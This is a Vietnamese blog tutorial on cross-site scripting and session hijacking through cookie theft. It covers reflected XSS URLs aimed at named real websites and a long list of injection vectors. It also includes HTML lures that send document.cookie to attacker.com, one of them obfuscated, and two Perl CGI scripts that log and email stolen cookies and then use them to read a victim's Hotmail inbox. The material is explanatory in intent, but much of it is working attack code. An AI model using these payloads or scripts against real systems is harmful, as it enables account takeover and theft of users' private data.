Cross Site Scripting :
Ngày nay! các lỗ hổng Cross Site Scripting (XSS) ngày càng được phát hiện nhiều ở các dịch vụ đại chúng nổi tiếng như: Yahoo, Hotmail, Ebay...
Cộng đồng các Hacker và Security đã chứng minh và có nhiều cuộc trình diễn về về sự nguy hiểm của XSS bên trong các dịch vụ đại chúng nổi tiếng như: Yahoo, Hotmail, Ebay và một số sản phẩm được ưa chuộng như: Apache, Tomcat, IIS, Lotus Domino. Các lỗ hổng XSS này cho phép các Hacker có thể dễ dàng đánh cắp User của người dùng trên các ứng dụng Web.
Nhưng để thực hiện được một cuộc tấn công XSS thì đòi hỏi các Hacker phải có một khả năng nhất định. Đầu tiên các Hacker sẽ cố gắng đánh cắp Cookies của người sử dụng vào đúng thời điểm mà người sử dụng đó đăng nhập đến các dịch vụ ứng dụng Web.
Gần như tất cả các dịch vụ Web đại chúng đều sử dụng Cookies để liên kết các tài khoản với người sử dụng. Điển hình là các dịch vụ Webmail như: Yahoo, Hotmail, Netscape...Và cả các dịch vụ ngân hàng, thương mại điện tử cũng sử dụng Cookies cho mục đích chứng thực và cấp phép.
Trong một kịch bản đăng nhập vào của các ứng dụng Web. Có 2 Token chứng thực được yêu cầu trao đổi. Nó chính là Username và Password...2 giá trị này được lưu giữ bên trong Cookies, sau đó được sử dụng như một dấu hiệu chứng thực duy nhất. Vậy để đánh cắp được User và Password cuat nạn nhân. Thì trước hết bạn phải đánh cắp được Cookies của họ. Các Hacker thường sử dụng và khai thác tính dễ tổn thương XSS để ăn cắp Cookies của người dùng trên Internet.
Các Hacker cũng có thể gián tiếp sử dụng các kỹ thuật khác để thực hiện công việc này: chẳng hạn như từ Cahe DNS, các Bug từ trình duyệt Internet của bạn, hay sử dụng một Trojan. Một khi các Cookies được bị đánh cắp. Các Hacker có thể khai thác các thông tin quý giá lưu trên Cookies và bắt đầu hướng các hoạt động đến các Server Web Application. Bắt đầu tấn công đến tài khoản của nạn nhân. Nếu thàhh công các Hacker có thể toàn quyền sử dụng và điều khiển các tài khoản ứng dụng trên Web của bạn.
Chúng ta bắt đầu tìm hiểu về các cuộc tấn công XSS:
Bản thân XSS là viết tắt của (Cross Site Scripting). Nếu một dịch vụ Web có chứa tính tổn thương XSS nó cho phép các Hacker có thể gửi các dữ liệu hiểm độc tới nạn nhân hoặc xuyên qua các ứng dụng đó. Các Hacker thường thực hiện khai thác tính dễ tổn thương XSS bằng kỹ xảo sử dụng các URL hiểm độc hay lợi dụng sự sơ hở của nạn nhân để đánh lừa họ. Những URL này rất đa dạng về ngôn ngữ: (VBScript, Javascript...etc) và chúng sẽ được Excute ngay trên trình duyệt của nạn nhân.
Tính tổn thương XSS được xảy ra bởi một sự bất thường trong các ứng dụng Web khi xử lý các giá trị đầu vào của người dùng. Dưới đây là một ví dụ về tính dễ tổn thương của XSS được khai thác bằng cách nhúng JavaScript, nó sẽ được thực thi trên trình duyệt của nạn nhân cùng với sự cho phép của dịch vụ Web dễ tổn thương:
http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script>
http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script>
http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
Các dịch vụ Web phần lớn sử dụng ngôn ngữ CGI. Thật ra thì nạn nhân không cần thiết phải Click vào một Link. Code XSS cũng có thể được tải tự động trong một E-mail dưới định dạng HTML khi nạn nhân đọc Mail (thường là 2 Tag: IMG hay FRAME HTML - Badtrans Worm là một ví dụ điển hình). Có rất nhiều cách để trèn mã JavaScript vào một URL cho mục đích khai thác tính dễ tổn thương của XSS. Cross Site là một bộ phận của XSS sẽ tham chiếu tới những sự hạn chế an toàn mà bộ trình duyệt mạng thông thường có liên quan đến dữ liệu với các Website động (sử dụng DHTML). Bởi việc thực hiện các Script trên trình duyệt của nạn nhân cùng với sự cho phép của ứng dụng Web đó. Các Hacker có thể vượt qua Document Object Model (DOM). Lợi dụng sự sơ hở này các Hacker sẽ đánh cắp Cookies và đột nhập vào các tài khoản của bạn. DOM là một Framework cho phép thực hiện những kịch bản để làm thay đổi nội dụng của những trang Web động.
Như đã nói! các Hacker có thể lợi dụng tính dễ tổn thương của XSS để đánh cắp Cookies của người sử dụng. Bởi việc trèn các Script hiểm độc, các Hacker có thể nắm quyền điều khiển bộ trình duyệt cuar nạn nhân. Họ sẽ lợi dụng tính dễ tổn thương trong trình duyệt của nạn nhân để dành quyền truy cập tới hệ điều hành của họ. Một đoạn Code ví dụ:
<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="java script:[code]">
<img dynsrc="java script:[code]">
<input type="image" dynsrc="java script:[code]">
<bgsound src="java script:[code]">
&<script>[code]</script>
&{[code]};
<img src=&{[code]};>
<link rel="stylesheet" href="java script:[code]">
<iframe src="vbscript :[code]">
<img src="mocha:[code]">
<img src="livescript:[code]">
<a href="about :<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=java script:[code]">
<body onload="[code]">
<div style="background-image: url(java script:[code]);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression([code]);">
<style type="text/javascript">[code]</style>
<object classid="clsid:..." codebase="java script:[code]">
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="java script:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script>
Bạn có thể tham khảo thêm thông tin ở:
http://www.cgisecurity.com/articles/xss-faq.shtml
http://www.w3.org/DOM/
A Tradition XSS Power Hjack
Để thực hiện một phiên đánh cướp (Hjack) các Hacker thường sự dụng bộ chụp gói tin (Sniffer), các công cụ bẻ khoá (Brute Force)...Thông dụng và phù hợp hơn cả vẫn là cách đánh cắp Cookies để nắm quyền điều khiển một phiên ứng dụng mạng của một người dùng hợp pháp trong khi người dùng đăng nhập vào hệ thống mạng ứng dụng. Thông thường thì kẻ tấn công thường thực hiện tất cả các chức năng ứng dụng của mạng với cùng đặc quyền của người sử dụng hợp pháp đó. Dưới đây là các bước được Hacker sử dụng để đánh cắp Cookies của người sử dụng hợp pháp
- Một người sử dụng đăng nhập vào hệ thống ứng dụng Web của họ, một phiên làm việc đã được thiết lập. Các Hacker biết về tính dễ tổn thương của hệ thống ứng dụng Web đó.
- Hacker sẽ gửi các mã XSS hiểm độc đến nạn nhân thông qua E-mail dưới định dạng HTML hay qua một trang Web trung gian. Trong một vài trường hợp các Hacker có thể nhúng chúng vào các nội dung Web phổ biến như Guest Book, Form Mail...các mã hiểm độc này sẽ được tự động thực thi trên trình duyệt của nạn nhân mà không cần sự cho phép của họ. Lấy ví dụ: tính dễ tổn thương trong http://hotwried.lycos.com Có đoạn Code sau:
<html>
<head>
<title>Look at this!</title>
</head>
<body>
<a
href="http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<
script>document.location.replace('http://attacker.com/steal.cgi?'+docum
ent.cookie);</script>"> Check this CNN story out! </a>
</body>
</html>
Đoạn Script trên sẽ dẫn nạn nhân đến một trang có chứa CGI Script của kẻ tấn công và tại đây nó sẽ đánh cắp Cookies của nạn nhân. Nó sẽ có dạng như sau:
http://attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C20 100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_tit
an_20=5901=1019511286
Hay các Hacker cũng có thể đanh lừa nạn nhân bằng đoạn Code sau:
<html>
<head>
<title>Look at this!</title>
</head>
<body>
<a
href="http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<
script>document.location.replace('http://attacker.com/steal.cgi?'+docum
ent.cookie);</script>"
onMouseOver="window.status='http://www.cnn.com/2002/SHOWBIZ/News/05/02/
clinton.talkshow.reut/index.html';return true"
onMouseOut="window.status='';return true"> Check this CNN story out!
</a>
</body>
</html>
Tuy nhiên nếu để đoạn Code đó lộ thiên như vậy sẽ rất khó lừa nạn nhân cũng như cơ chế lọc của các dịch vụ ứng dụng Web. Chính vì vậy lên các Hacker thường mã hoá chúng lại theo chuẩn ASCII (American Standar Code Information Interchance):
<html>
<head>
<title>Look at this!</title>
</head>
<body>
<a
href="http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<
script>var u = String.fromCharCode(0x0068);u %2B=
String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074);
u %2B= String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003A);
u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x002F);
u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x0074);
u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0061);
u %2B= String.fromCharCode(0x0063);u %2B= String.fromCharCode(0x006B);
u %2B= String.fromCharCode(0x0065);u %2B= String.fromCharCode(0x0072);
u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063);
u %2B= String.fromCharCode(0x006F);u %2B= String.fromCharCode(0x006D);
u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0073);
u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0065);
u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x006C);
u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063);
u %2B= String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x0069);
u %2B= String.fromCharCode(0x003F);u %2B=
document.cookie;document.location.replace(u);</script>"
onMouseOver="window.status='http://www.cnn.com/2002/SHOWBIZ/News/05/02/
clinton.talkshow.reut/index.html';return true"
onMouseOut="window.status='';return true"> Check this CNN story out!
</a>
</body>
</html>
- Khi các đoạn Script này được thực hiện trên trình duyệt của người dùng hay được tự động thực thi trên trong E-mail của nạn nhân. Nó sẽ tự động Load các Tag như IMG, HTML FRAME (img src ="script.js"> hay <iframe = "script.js">. Khi đoạn Code Java Script đó được thực hiện (có thể sử dụng các ngôn ngữ khác) thì nó sẽ bị trang Web chứa Code CGI của Hacker đánh cắp. Cookies sẽ có dạng như sau:
http://attacker.com/steal.cgi? lubid=01000000F81038F953EB3C41EB340000585500000000
;%20p
_uniqid=8s51F99ZdNn/n27HtA
Giá trị Cookies ở đây chính là: lubid=01000000F81038F953EB3C41EB340000585500000000
;%20p
_uniqid=8s51F99ZdNn/n27HtA
- Các Hacker thương sử dụng một số đoạn Code để đánh cắp Cookies của nạn nhân và sử dụng giá trị Cookies đó ngay trên trình duyệt của mình. Đoạn Code Perl sau sẽ giúp các Hacker thực hiện điều đó:
#!/usr/bin/perl
# steal.cgi by David Endler dendler@idefense.com
# Specific to your system
$mailprog = '/usr/sbin/sendmail';
# create a log file of cookies, we’ll also email them too
open(COOKIES,”>>stolen_cookie_file”);
# what the victim sees, customize as needed
print "Content-type:text/html\n\n";
print <<EndOfHTML;
<html><head><title>Cookie Stealing</title></head>
<body>
Your Cookie has been stolen. Thank you.
</body></html>
EndOfHTML
# The QUERY_STRING environment variable should be filled with
# the cookie text after steal.cgi:
# http://www.attacker.com/steal.cgi?XXXXX
print COOKIES “$ENV{'QUERY_STRING'} from $ENV{‘REMOTE_ADDR’}\n”;
# now email the alert as well so we can start to hijack
open(MAIL,"|$mailprog -t");
print MAIL "To: attacker\@attacker.com\n";
print MAIL "From: cookie_steal\@attacker.com\n";
print MAIL "Subject: Stolen Cookie Submission\n\n";
print MAIL "-" x 75 . "\n\n";
print MAIL “$ENV{'QUERY_STRING'} from $ENV{‘REMOTE_ADDR’}\n”;
close (MAIL);
Hacker chỉ cần đọc Mail và lấy giá trị Cookies vừa ăn cắp được của nạn nhân và đăng nhập vào hệ thống ứng dụng Web với giá trị Cookies đó mà không cần User và Pass. Tất nhiên anh ta có toàn quyền sử dụng tài khoản này.
Now Let's Automated it
Một trong những trở ngại lớn nhất trong quá trình đánh cắp Cookies của các Hacker có lẽ là sự tính toán về yếu tố thời gian. Bởi vì ngoài việc phải phục kích đúng thời điểm nạn nhân đăng nhập. Các Hacker còn phải liên tục theo dõi các E-mail và những CGI log trong khi thực hiện công việc đánh cắp Cookies, và tiến hành đánh cắp phiên làm việc trước khi nạn nhân thoát ra khỏi phiên làm việc đó. Chính vì vậy mà các Hacker đã nghĩ đến làm sao phải tự động hoá cái quá trình tốn kém công sức và thời gian này.
Chúng ta hãy cùng xem xét qua Hotmail. Một dịch vụ Freemail nổi tiếng của hãng MSN. Đầu tiên kẻ tấn công cũng đánh lừa nạn nhân Click vào một liên kết để đánh cắp Cookies của họ, hoặc thậm chí các Hacker còn sử dụng cả các Worm.
Lấy ví dụ một đoạn Cookies của Hotmail có dạng sau:
HMP1=1;
HMSC0899=223victim%40hotmail%2ecomSxAIWq5iIf2ZTc6e
TZYkHUqtZeCuYMKoBAB1eiapyad
Kb1RCjuNz5U4%21l1KIOsuBpTEbUKYkmTuzPJVj%2abtLeMyiV
Gap9BF82YvrP2WPsX4Z6ekH9a7c
Rqq2VqTspQIS33GWygbPEsLOEFIupoiaYZdqmURMJK%21nh6O4
u4UNAJUjzOmQ8ye%2at3GjQfi6p
Ba3vTT533tCRmZDy47NZY6cPdkbeHR5soAVnNPyqhvm73a%214
%2aFRHPJfOGhT6cbVR9zN%21XDX
3seXv9czjX6cm2lugTnpKZS2UQ0j%21%21PWkyiqS2aSw%2aKk
2%2aCquxzpjE2F0uVZgHfznNjVL
PgGV2H%2a5GqZjXf144U0m8HFwlGS9A8RIwNMGtMoSro%2atCU
6L6304VyZyJ4vlEM%21adk%24;
MC1=V=3&GUID=0724b14826c9437ct786ba6f2a36b04f;
lang=en-us;
mh=MSFT;
SITESERVER=ID=UID=0724b14876c9437ca786ba6f2a36b44f
;
MSPAuth=2JqD6vvUbDzqFAm6O7QVMWaeSdtiJExWGRQ5cmSuJ9
CUf4QSJbsQNmKkOCe3RLo%21A5G
hxQ7mtfdZ%2aw3Bc0O7Pwzw%24%24;
MSPProf=2JqD6vvUbB11hog4j6OgbT%21BYwgn3IZN9AyKYUpD
NECCi%2a9dBZf37wqxmWtyS%21%
21Z6icYG8dVF30FnbsANQcdN1lQ%21QJCTDiddJAW9oiWSf%2a
8g9nwIGclDtNP6Hk2gFlOfZHEju
vkM6Ja1N549eYs1VuhdcHCFWukzbVR%21%218POKn%2aS8vcqV
g4ZHHgabh0CQXoxj;
domain=lw4fd.law4.hotmail.msn.com;
Và nó sẽ được gửi đến Script CGI của Hacker với nội dung sau:
http://attacker.com/steal2.cgi?HMP1=1;%20HMSC0899=223victim%40hotmail%2ecomSx
AIWq5iIf2ZTc6eTZYkHUqtZeCuYMKoBAB1eiapyadKb1RCjuNz
5U4%21l1KIOsuBpTEbUKYkmTuzP
JVj%2abtLeMyiVGap9BF82YvrP2WPsX4Z6ekH9a7cRqq2VqTsp
QIS33GWygbPEsLOEFIupoiaYZdq
mURMJK%21nh6O4u4UNAJUjzOmQ8ye%2at3GjQfi6pBa3vTT533
tCRmZDy47NZY6cPdkbeHR5soAVn
NPyqhvm73a%214%2aFRHPJfOGhT6cbVR9zN%21XDX3seXv9czj
X6cm2lugTnpKZS2UQ0j%21%21PW
kyiqS2aSw%2aKk2%2aCquxzpjE2F0uVZgHfznNjVLPgGV2H%2a
5GqZjXf144U0m8HFwlGS9A8RIwN
MGtMoSro%2atCU6L6304VyZyJ4vlEM%21adk%24;%20MC1=V=3
&GUID=0724b14826c9437ct786b
a6f2a36b04f;%20lang=en_s;%20mh=MSFT;%20SITESERVER=
ID=UID=0724b14876c9437ca786
ba6f2a36b44f;%20MSPAuth=2JqD6vvUbDzqFAm6O7QVMWaeSd
tiJExWGRQ5cmSuJ9CUf4QSJbsQN
mKkOCe3RLo%21A5GhxQ7mtfdZ%2aw3Bc0O7Pwzw%24%24;%20M
SPProf=2JqD6vvUbB11hog4j6Og
bT%21BYwgn3IZN9AyKYUpDNECCi%2a9dBZf37wqxmWtyS%21%1
Z6icYG8dVF30FnbsANQcdN1lQ%
21QJCTDiddJAW9oiWSf%2a8g9nwIGclDtNP6Hk2gFlOfZHEjuv
kM6Ja1N549eYs1VuhdcHCFWukzb
VR%21%218POKn%2aS8vcqVg4ZHHgabh0CQXoxj;%20domain=l
w4fd.law4.hotmail.msn.com;
Dưới đây là đoạn Code CGI được sử dụng để đánh cắp CGI của Hotmail:
#!/usr/bin/perl
# steal2.cgi by David Endler dendler@idefense.com
use LWP::UserAgent;
use HTTP::Cookies;
$cookie = HTTP::Cookies->new (
File => $cookiefile,
AutoSave => 0, );
# Specific to your system
$mailprog = '/usr/sbin/sendmail';
# create a log file of cookies, we’ll also email them too
open(COOKIES,”>>stolen_cookie_file”);
# what the victim sees, customize as needed
print "Content-type:text/html\n\n";
print <<EndOfHTML;
<html><head><title>Cookie Stealing</title></head>
<body>
Your Cookie has been stolen. Thank you.
</body></html>
EndOfHTML
# The QUERY_STRING environment variable should be
# filled with
# the cookie text after steal2.cgi:
# http://www.attacker.com/steal2.cgi?XXXXX
print COOKIES “$ENV{'QUERY_STRING'} from $ENV{‘REMOTE_ADDR’}\n”;
# now email the alert as well so we can start to hijack
open(MAIL,"|$mailprog -t");
print MAIL "To: attacker\@attacker.com\n";
print MAIL "From: cookie_steal\@attacker.com\n";
print MAIL "Subject: Stolen Cookie Submission\n\n";
print MAIL "-" x 75 . "\n\n";
print MAIL “$ENV{'QUERY_STRING'} from $ENV{‘REMOTE_ADDR’}\n”;
close (MAIL);
# this snippet goes to the victim’s Hotmail inbox and dumps
# the output. An attacker could just as easily add some lines
# to parse for http://lw4fd.law4.hotmail.msn.com/cgi-bin/getmsg?
# and then read the individual emails
$base_url = “http://lw4fd.law4.hotmail.msn.com/cgi-bin/HoTMaiL?”;
$ua->agent("Mozilla/4.75 [en] (Windows NT 5.0; U)");
$request = new HTTP::Request ('GET', $base_url);
$ua->cookie_jar( $cookie );
# let’s do a little parsing of our input to separate multiple
# cookies
# cookies are seperated by a semicolon and
# a space (%20),
# this will extract them so we can load them into our
# HTTP agent
@cookies = split(/;%20/,$ENV{'HTTP_COOKIE'});
for (@cookies){
@cookie_pairs = split(/=/, $_);
$cookie->set_cookie(0, “$cookie_pairs[0]” => “$cookie_pairs[1]”, "/",
".hotmail.com");
$cookie->add_cookie_header($request); }
# now that our forged credentials are loaded, let’s
# access the victim’s Hotmail account! At this point
# we can do anything to their account simply by forming the
# correct URL
$response = $ua->simple_request( $request );
$contents = $response->content;
print COOKIES “$contents\n”;
Như đã nói ở trên để thực hiện một cuộc tấn công XSS không phải là dễ. Nhưng bạn cũng lên thận trọng trước các cuộc tấn công kiểu này...
Bài viết của Binhnx2000
0 nhận xét:
Đăng nhận xét